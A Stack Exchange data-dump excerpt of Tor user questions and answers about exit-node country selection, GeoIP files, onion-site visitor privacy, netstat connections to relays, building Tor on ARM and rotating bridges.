  <row Id="13555" PostTypeId="1" CreationDate="2016-12-31T22:58:22.257" Score="0" ViewCount="285" Body="&lt;p&gt;I”m using Tor 0.2.8.9 on Mac Sierra.  I’m having trouble reaching a site using my Tor daemon, which I start like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor --CookieAuthentication 0 --HashedControlPassword &quot;&quot; --ControlPort 9050 --SocksPort 50003&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only changes I’ve made to the /opt/local/etc/tor/torrc, default configuration are&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MaxCircuitDirtiness 60&#xA;ExitNodes {us} &#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but when I attempt to access a particularly problematic site, which I can reach fine in a Firefox or Chrome browser, I get this error …&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;localhost:tmp davea$ curl --socks5-hostname localhost:50003 http://www.domain.com/results02/ches1116.htm&#xA;curl: (7) Can't complete SOCKS5 connection to 0.0.0.0:0. (1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace “domain” with “hitekracing” to see what I’m talking about.  Are there any other configuration changes I can make to make my request through my Tor daemon behave more like a normal browser request coming from the US?&lt;/p&gt;&#xA;" OwnerUserId="14367" LastActivityDate="2017-03-02T21:49:19.477" Title="How cna I make a request through the Tor daemon originate from a US IP?" Tags="|configuration|socks|mac|torsocks|terminal|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13556" PostTypeId="1" CreationDate="2017-01-01T02:47:26.123" Score="0" ViewCount="1145" Body="&lt;p&gt;i have installed &lt;code&gt;TOR&lt;/code&gt; on my &lt;code&gt;cent OS 7 x64&lt;/code&gt;. &#xA;and using it for browsing &lt;code&gt;.onion&lt;/code&gt; sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i would like to know , Can &lt;code&gt;.onion&lt;/code&gt; website owner see &lt;code&gt;visitor IP&lt;/code&gt; address connecting using &lt;code&gt;TOR network&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am asking this, because i would like to know is there any way , can &lt;code&gt;.onion&lt;/code&gt; website owner block specific &lt;code&gt;IP address&lt;/code&gt; from accessing &lt;code&gt;.onion&lt;/code&gt; website ?&lt;/p&gt;&#xA;" OwnerDisplayName="user14856" LastActivityDate="2017-01-01T16:15:30.333" Title="Can .onion website owner see visitor IP address connecting using TOR network?" Tags="|ip-address|website|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13557" PostTypeId="2" ParentId="12764" CreationDate="2017-01-01T04:16:58.920" Score="1" Body="&lt;p&gt;Root your phone, use OpenVPN, bridges, and test your traffic by disabling Wifi obviously. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to run a VPN layered with TOR regardless of the device or the data source.  And you need to root most droids to get all traffic from your phone (apps, not just browser) to pass through TOR.  &lt;/p&gt;&#xA;" OwnerUserId="15683" LastActivityDate="2017-01-01T04:16:58.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13558" PostTypeId="1" CreationDate="2017-01-01T04:18:41.457" Score="0" ViewCount="1215" Body="&lt;p&gt;I have not ran TOR since turning on my computer hours ago.  I occasionally netstat my CPU to make sure there is no unknown connections/phoning home/root kits.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran the following command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;sudo netstat -natup&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was in the output&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;tcp        0      0 127.0.0.1:9050          0.0.0.0:*               LISTEN      1324/tor&lt;br&gt;&#xA;tcp        0      0 10.8.0.2:53890          91.109.29.241:443       ESTABLISHED 1324/tor&lt;br&gt;&#xA;tcp        0      0 10.8.0.2:59096          185.13.38.75:9001       ESTABLISHED 1324/tor&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any idea? Am I compromised?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pastebin whois checks: &lt;a href=&quot;http://pastebin.com/GYfKQAdA&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pastebin.com/GYfKQAdA&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is anything else I can add to receiver a more accurate answer please let me know.  Thank you all for your help.&lt;/p&gt;&#xA;" OwnerUserId="15684" LastActivityDate="2017-01-31T19:52:32.533" Title="Unknown Connections In Netstat" Tags="|tor-browser-bundle|security|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13559" PostTypeId="2" ParentId="13558" CreationDate="2017-01-01T05:48:27.850" Score="0" Body="&lt;p&gt;It's OK - these ones are outbound connections, and it's totaly normal for Tor to have ones. You can post your torrc and ifconfig - so I'll be able to explain it in your particular case in much deeper details.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-01T05:48:27.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13560" PostTypeId="2" ParentId="13556" CreationDate="2017-01-01T05:50:53.363" Score="0" Body="&lt;p&gt;it depends on the interaction details - but theoretically yes, it's possible. For example if you're using an add-on in browser for a website or running an external component as a separate executable(hello, Flash!). But in almost all cases - no, it's impossible.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-01T05:50:53.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13561" PostTypeId="1" CreationDate="2017-01-01T05:51:03.120" Score="0" ViewCount="635" Body="&lt;p&gt;I'm connecting from a company and was ok. Recently I couldn't connect. Here is my log :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;1/1/2017 5:31:18 AM.200 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150&#xA;1/1/2017 5:31:18 AM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/1/2017 5:31:18 AM.200 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;1/1/2017 5:31:40 AM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/1/2017 5:31:40 AM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/1/2017 5:31:40 AM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/1/2017 5:31:40 AM.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;1/1/2017 5:31:47 AM.200 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;1/1/2017 5:31:47 AM.200 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;1/1/2017 5:31:48 AM.300 [WARN] Proxy Client: unable to connect to 154.35.22.11:80 (&quot;general SOCKS server failure&quot;) &#xA;1/1/2017 5:31:48 AM.300 [WARN] Proxy Client: unable to connect to 83.212.101.3:50000 (&quot;general SOCKS server failure&quot;) &#xA;1/1/2017 5:31:48 AM.300 [WARN] Proxy Client: unable to connect to 109.105.109.147:13764 (&quot;general SOCKS server failure&quot;) &#xA;1/1/2017 5:31:48 AM.300 [WARN] Proxy Client: unable to connect to 109.105.109.165:10527 (&quot;general SOCKS server failure&quot;) &#xA;1/1/2017 5:31:48 AM.300 [WARN] Proxy Client: unable to connect to 154.35.22.12:80 (&quot;general SOCKS server failure&quot;) &#xA;1/1/2017 5:31:48 AM.300 [WARN] Proxy Client: unable to connect to 154.35.22.10:80 (&quot;general SOCKS server failure&quot;) &#xA;1/1/2017 5:31:48 AM.300 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;1/1/2017 5:31:48 AM.600 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;1/1/2017 5:31:48 AM.600 [WARN] Proxy Client: unable to connect to 154.35.22.11:80 (&quot;general SOCKS server failure&quot;) &#xA;1/1/2017 5:31:48 AM.600 [WARN] Proxy Client: unable to connect to 109.105.109.165:10527 (&quot;general SOCKS server failure&quot;) &#xA;1/1/2017 5:31:48 AM.600 [WARN] Proxy Client: unable to connect to 109.105.109.147:13764 (&quot;general SOCKS server failure&quot;) &#xA;1/1/2017 5:31:48 AM.600 [WARN] Proxy Client: unable to connect to 154.35.22.12:80 (&quot;general SOCKS server failure&quot;) &#xA;1/1/2017 5:31:48 AM.600 [WARN] Proxy Client: unable to connect to 83.212.101.3:50000 (&quot;general SOCKS server failure&quot;) &#xA;1/1/2017 5:31:48 AM.600 [WARN] Proxy Client: unable to connect to 154.35.22.10:80 (&quot;general SOCKS server failure&quot;) &#xA;1/1/2017 5:31:48 AM.800 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;1/1/2017 5:31:50 AM.400 [NOTICE] Bootstrapped 80%: Connecting to the Tor network &#xA;1/1/2017 5:31:51 AM.200 [NOTICE] Bootstrapped 90%: Establishing a Tor circuit &#xA;1/1/2017 5:31:52 AM.000 [NOTICE] Tor has successfully opened a circuit. Looks like client functionality is working. &#xA;1/1/2017 5:31:52 AM.000 [NOTICE] Bootstrapped 100%: Done &#xA;1/1/2017 5:31:53 AM.000 [NOTICE] New control connection opened from 127.0.0.1. &#xA;1/1/2017 5:31:53 AM.100 [NOTICE] New control connection opened from 127.0.0.1. &#xA;1/1/2017 5:32:47 AM.500 [WARN] Proxy Client: unable to connect to 154.35.22.13:443 (&quot;general SOCKS server failure&quot;) &#xA;1/1/2017 5:32:47 AM.500 [WARN] Proxy Client: unable to connect to 154.35.22.9:443 (&quot;general SOCKS server failure&quot;) &#xA;1/1/2017 5:32:48 AM.200 [WARN] Proxy Client: unable to connect to 154.35.22.9:80 (&quot;general SOCKS server failure&quot;) &#xA;1/1/2017 5:33:47 AM.500 [WARN] Proxy Client: unable to connect to 154.35.22.13:443 (&quot;general SOCKS server failure&quot;) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15685" LastEditorUserId="9291" LastEditDate="2017-01-11T00:33:02.540" LastActivityDate="2018-11-02T15:00:26.820" Title="Couldn't connect to tor" Tags="|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13562" PostTypeId="2" ParentId="13551" CreationDate="2017-01-01T13:34:36.430" Score="1" Body="&lt;p&gt;The Tor Browser Bundle to my knowledge doesn't use any TCP anymore, but uses a Unix Socket to communicate with Tor. This means that connecting to Privoxy the way you suggest is impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also think that &lt;code&gt;127.0.0.1&lt;/code&gt; might refer to the exit node (and in that case is forbidden).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your only option might be to use a more custom setup.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2017-01-01T13:34:36.430" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13563" PostTypeId="2" ParentId="13558" CreationDate="2017-01-01T13:40:33.573" Score="0" Body="&lt;p&gt;Tor opens connections to a Directory Server, telling you about Tor relays and your Entry Guards through which you use to connect to the middle and exit server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using the Tor Browser Bundle one of these IPs should match your entry guard.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2017-01-01T13:40:33.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13565" PostTypeId="2" ParentId="13556" CreationDate="2017-01-01T16:15:30.333" Score="1" Body="&lt;p&gt;If everything is working as intended, then NO, the .onion website owner Cannot see a visitor IP address. Most leaks, such as from insecure plugins would be unable to reveal your IP to a .onion site either, as they would involve sending traffic over clearnet which is unable to reach a .onion site. There are some situations where bittorrent traffic, which shouldn't be used over tor anyway, can send out your regular clearnet IP over tor so there is always some extremely small chance a bad enough combination of plug-ins and/or exploits could somehow leak your IP to a .onion site but it's extremely unlikely and probably not a concern if you're just worried about being banned. You could always just resolve the security issue if you do get banned, therefore circumventing the ban.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're very concerned about IP leaks, Whonix attempts to prevent many ways your IP can leak with other Tor implementations. You run a customized Torbrowser bundle in a Linux Virtual Machine on an isolated network that can only connect to a second Linux VM whose sole job is to ensure all traffic goes over Tor. It's fairly easy to setup as you can just drop pre-built appliances into VirtualBox or KVM. &#xA;&lt;a href=&quot;https://www.whonix.org/wiki/Main_Page&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.whonix.org/wiki/Main_Page&lt;/a&gt;&#xA;&lt;a href=&quot;https://tor.stackexchange.com/questions/tagged/whonix&quot;&gt;https://tor.stackexchange.com/questions/tagged/whonix&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15689" LastActivityDate="2017-01-01T16:15:30.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13566" PostTypeId="2" ParentId="13541" CreationDate="2017-01-01T16:28:57.290" Score="0" Body="&lt;p&gt;The only extra risk here would be that you might get confused about which browser you're in and accidentally login to a site over clearnet that you meant to login to over tor. Otherwise simultaneous regular browsing should not effect the security of your tor browsing at all.&lt;/p&gt;&#xA;" OwnerUserId="15689" LastActivityDate="2017-01-01T16:28:57.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13568" PostTypeId="2" ParentId="13552" CreationDate="2017-01-01T19:15:43.967" Score="0" Body="&lt;p&gt;You likely missed the step where you configure &lt;code&gt;torsocks&lt;/code&gt; to use your chosen, non-default port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;torsocks&lt;/code&gt; configuration file is normally located at &lt;code&gt;/etc/tor/torsocks.conf&lt;/code&gt;, however I believe the OSX homebrew build process changes this slightly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There you'd need to specify: &lt;code&gt;TorPort 50003&lt;/code&gt;, instead of the default &lt;code&gt;TorPort 9050&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-01-01T19:15:43.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13569" PostTypeId="2" ParentId="13558" CreationDate="2017-01-01T19:31:03.303" Score="1" Body="&lt;p&gt;Those are both Tor relays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://atlas.torproject.org/#details/FC5AEAF71BF60B0B433AFDF0FB5A30F399FC3DCE&quot; rel=&quot;nofollow noreferrer&quot;&gt;91.109.29.241:443&lt;/a&gt; and &lt;a href=&quot;https://atlas.torproject.org/#details/D2A1703758A0FBBA026988B92C2F88BAB59F9361&quot; rel=&quot;nofollow noreferrer&quot;&gt;185.13.38.75:9001&lt;/a&gt; are both normal end-points for a Tor client to connect to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor is likely running as a system service and configured as a client, which means it will start by default and it builds circuits opportunistically. It keeps a set of circuits open and ready for use. Even when you're not using it, it will be connected to the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running netstat will never be suitable to detect any rootkit, since netstat is executing in userspace and the rootkit is in the kernel, a rootkit can interfere with the information before it is fed back to netstat and remove itself from the listings. Infact that is standard functionality for rootkits, they won't appear in process listings, file listings or connection listings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your flawed attempt at security is both making you jump at shadows and not defeating attackers or detecting compromise.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-01-01T19:31:03.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13570" PostTypeId="2" ParentId="13555" CreationDate="2017-01-01T19:49:56.283" Score="1" Body="&lt;p&gt;You're trying to use a specific country code with no GeoIP database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since IPs don't actually have any relationship to countries at all you need a database of made up links between IP address and country to fool Tor into believing the same lie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically you need to define a &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#GeoIPFile&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;GeoIPFile&lt;/code&gt;&lt;/a&gt; and a &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#GeoIPv6File&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;GeoIPv6File&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These files are the old format of GeoIP database distributed by maxmind, the geoip files distributed with Tor Browser and Tor explain how to generate them from a terse statement in a comment at the top of the file, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wget https://geolite.maxmind.com/download/geoip/database/GeoLite2-Country.mmdb.gz&#xA;gunzip GeoLite2-Country.mmdb.gz&#xA;python mmdb-convert.py GeoLite2-Country.mmdb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using a tool like &lt;a href=&quot;https://github.com/nmathewson/mmdb-convert&quot; rel=&quot;nofollow noreferrer&quot;&gt;mmdb-convert&lt;/a&gt; to convert them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've obtained one of these files, you specify a path to it for the &lt;code&gt;GeoIP{,v6}File&lt;/code&gt; option in your tor configuration.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-01-01T19:49:56.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13571" PostTypeId="1" CreationDate="2017-01-01T20:35:10.580" Score="2" ViewCount="565" Body="&lt;p&gt;I’m using Tor 0.2.8.9 on Mac Sierra.  I’m running a Tor daemon like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor --CookieAuthentication 0 --HashedControlPassword &quot;&quot; --ControlPort 9050 --SocksPort 50003&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only changes I’ve made to the /opt/local/etc/tor/torrc, default configuration are&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MaxCircuitDirtiness 60&#xA;ExitNodes {us} &#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought specifying “ExitNodes {us}” would guarantee I’m using ExitNodes in the US only, but then someone was saying I need to configure a GeoIP database, which I thought was already included in Tor.  Indeed, I noticed when looking at the Tor log, some of the circuits were not using US-based IPs.  For instance I saw this in my log&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Dec 31 16:47:26.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $BA63C123BBBAFA2806854A89ABF97300A463A090~dpsitor3 at 107.182.131.117. Retrying on a new circuit.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The given IP is in Germany according to whatismyipaddress.com .  What other configurations do I need to make to get the ExitNodes directive to work properly?&lt;/p&gt;&#xA;" OwnerUserId="14367" LastActivityDate="2017-03-25T10:35:36.180" Title="Do I need to configure a GeoIP database when using the ExitNodes directive?" Tags="|exit-relays|socks|mac|geoip|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13572" PostTypeId="1" CreationDate="2017-01-02T00:28:34.940" Score="1" ViewCount="488" Body="&lt;p&gt;Dearest Group,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installed on Ubuntu 16.04 from Torproject (Xenial) repository.&#xA;In the torrc config file - 'RunAsDaemon 1' is un-commented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The log file shows 'Catching signal TERM, exiting cleanly' as the last event. Examining the tor service status shows 'active (exited)'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can only invoke tor as 'sudo' on the command line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Commenting out RunAsDaemon and reboot results in the same. Additionally, nothing new is appended to the log file. I have also invoked #service tor start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;LAST UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As what was happening to me was not making much sense, I elected to go for a re-build. I then re-read the instructions, specifically:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Edit torcc config file - leave daemon line commented out and make necessary changes for a relay&lt;/li&gt;&#xA;&lt;li&gt;(root) service tor reload&lt;/li&gt;&#xA;&lt;li&gt;Inspect the log file - /var/log/tor/log&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now working&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Richard&lt;/p&gt;&#xA;" OwnerUserId="15695" LastEditorUserId="15695" LastEditDate="2017-01-03T17:33:34.853" LastActivityDate="2021-08-11T19:07:50.707" Title="Logfile shows 'Catching signal TERM, exiting cleanly'" Tags="|configuration|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13573" PostTypeId="1" CreationDate="2017-01-02T01:27:02.550" Score="1" ViewCount="336" Body="&lt;p&gt;I would like to contribute to the cause by running a Tor Relay. After spending the last week researching, I am still unable to answer the following questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What are the MINIMUM COMPUTER requirements? May I run the relay on an older MacBook Pro? How about an older iMac? Do I need something high-end ($$$)?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What are the PREFERRED ROUTER requirements? Do I need to upgrade from my generic ISP router, or should I purchase something more specific to support the cause?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I live in the boon-docks and must connect to the Internet through DSL with the only cable/telephone company that services my area. Will a Tor Relay work with DSL service?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I do not have the software/hardware expertise to do this, but willing to donate equipment and time to help. Is there someone within the Tor community that can help me get things up and running?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15696" LastActivityDate="2022-04-08T18:08:10.757" Title="Tor Relay questions (equipment, router hardware, DSL)" Tags="|relays|mac|routers|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13575" PostTypeId="1" AcceptedAnswerId="13580" CreationDate="2017-01-02T04:43:09.193" Score="2" ViewCount="927" Body="&lt;p&gt;If a set of obfs4 is working fine should they be kept indefinitely as long as they're still working? How would periodically getting a new set of bridges improve security? Potentially compromise security? Thank you. &lt;/p&gt;&#xA;" OwnerUserId="15689" LastActivityDate="2017-01-02T09:04:23.873" Title="What are security implications of keeping same tor bridges versus rotating?" Tags="|obfs4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13577" PostTypeId="1" CreationDate="2017-01-02T05:52:35.903" Score="3" ViewCount="4281" Body="&lt;p&gt;Could I use QEMU on my Arm processor based laptop and put tails inside QEMU. Will this setup work? How do I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other way I can use tor on Arm based processor?&lt;/p&gt;&#xA;" OwnerUserId="15701" LastEditorUserId="487" LastEditDate="2019-02-21T22:34:37.247" LastActivityDate="2020-11-17T17:44:42.010" Title="I am interested in using tor on a Arm based processor laptop is there a way to do this?" Tags="|tails|orbot|virtual-machine|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13578" PostTypeId="2" ParentId="13577" CreationDate="2017-01-02T07:45:26.230" Score="2" Body="&lt;p&gt;Tor should work fine on ARM CPUs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On distributions like &lt;a href=&quot;https://packages.debian.org/jessie/tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Debian&lt;/a&gt; there are Tor versions for arm, arm64, armel, armhf (even mips, mipsel and powerpc). The Tor Project themselves also distribute debian packages for armhf and armel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://koji.fedoraproject.org/koji/buildinfo?buildID=828487&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fedora&lt;/a&gt; (and likely other redhat derivatives) also distributes a [Tor package for armv7hl.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://archlinuxarm.org/packages/arm/tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;ArchLinux for ARM&lt;/a&gt; similarly package Tor for arm, armv6 and armv7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's likely many other distributions do too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your chosen distribution don't package it for your specific ARM CPU, or at all, you could alternatively build Tor from source:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wget https://dist.torproject.org/tor-0.2.9.8.tar.gz{,.asc}&#xA;gpg --recv-key 7A02B3521DC75C542BA015456AFEE6D49E92B601 # Ensure the fingerprint matches&#xA;gpg --verify tor-0.2.9.8.tar.gz{.asc,} # ensure it is verified properly&#xA;tar vxaf tor-0.2.9.8.tar.gz&#xA;cd tor-0.2.9.8/&#xA;./configure &amp;amp;&amp;amp; make &amp;amp;&amp;amp; sudo make install&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Building it from source will require ensuring you've all the required build tools and dependencies available too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also work being done on porting &lt;a href=&quot;https://labs.riseup.net/code/issues/10972&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails to ARM&lt;/a&gt; and &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/12631&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser to ARM&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-01-02T07:45:26.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13580" PostTypeId="2" ParentId="13575" CreationDate="2017-01-02T09:04:23.873" Score="1" Body="&lt;p&gt;Bridges are like guards, there are advantages to keeping them and advantages to changing them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a general rule you want to keep guards for as long as you can. Given a hypothetical pair of evil nodes in the network, a guard and an exit who together can deanonymize you, every time you pick a new guard you roll a dice. If the dice roll is unlucky, you pick the evil guard and lose. The less often you roll the dice the less likely you are to pick the evil guard. For more details on this, see &lt;a href=&quot;https://blog.torproject.org/blog/improving-tors-anonymity-changing-guard-parameters&quot; rel=&quot;nofollow noreferrer&quot;&gt;Improving Tor's anonymity by changing guard parameters&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the flipside, guards can track you. One of the problems Tails faces is that because it doesn't persist, it doesn't keep guards. This is problematic for the reasons mentioned before but also advantageous since a guard is actually a long-term identifier, which is something Tails is designed to avoid. This is even more pronounced in bridges, since typically bridges receive far fewer users than guards. Imagine some hypothetical Eve (a passive observer, who only looks but can't interfere) who can see your home internet connection connecting to some bridge address, they can't see the traffic but they can see you're connected (in the case of obfs4 this means you know the bridges public key). Now imagine later, you disconnect and Eve now sees a user connecting to the same address from a hotel in another city then some time later sees that connection stop and some time later your home connection is re-established. Eve might suspect that you briefly visited that hotel. This may not be something you would want Eve to suspect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outside of the scenario above, you should try to keep bridges for as long as possible. For the scenario above you may want to grab a distinct set of bridges for any trips you make to places where you may participate in sensitive activities, or just because you think Eve is a creep and should mind their own business.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-01-02T09:04:23.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13581" PostTypeId="2" ParentId="13495" CreationDate="2017-01-02T09:29:40.737" Score="1" Body="&lt;p&gt;Tor Browser uses a restricted set of fonts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since an adversary may be able to discover what fonts a user has installed, this is required to avoid fingerprinting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you install this extra font you will be in a very, very small anonymity set.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Tor Browser folder, there should be another folder called &lt;code&gt;Browser&lt;/code&gt; and under that &lt;code&gt;fonts&lt;/code&gt;. In the &lt;code&gt;fonts&lt;/code&gt; folder will be the set of fonts that Tor Browser uses, adding your font file here (assuming it's in a standard format, like TTF) should allow it to be used.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-01-02T09:29:40.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
